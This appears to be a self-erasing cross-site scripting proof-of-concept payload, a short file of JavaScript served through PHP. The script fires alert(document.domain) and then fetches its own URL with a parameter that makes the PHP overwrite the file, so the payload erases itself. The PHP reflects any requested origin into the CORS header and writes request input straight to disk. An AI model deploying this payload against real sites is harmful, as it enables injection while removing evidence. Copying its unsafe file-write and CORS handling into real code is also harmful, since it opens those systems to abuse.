var eraser = '<?php echo "//" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"] ?>';
alert(document.domain);
fetch(eraser + '?e=Deleted.&origin=' + document.location.origin);

<?php

header("Access-Control-Allow-Origin: " . $_GET["origin"]);

$e = htmlentities($_GET['e']);
$b = basename(__FILE__);

if ($e) {
        $f = fopen($b, "w");
        fwrite($f, $e);
        fclose($f);

}

?>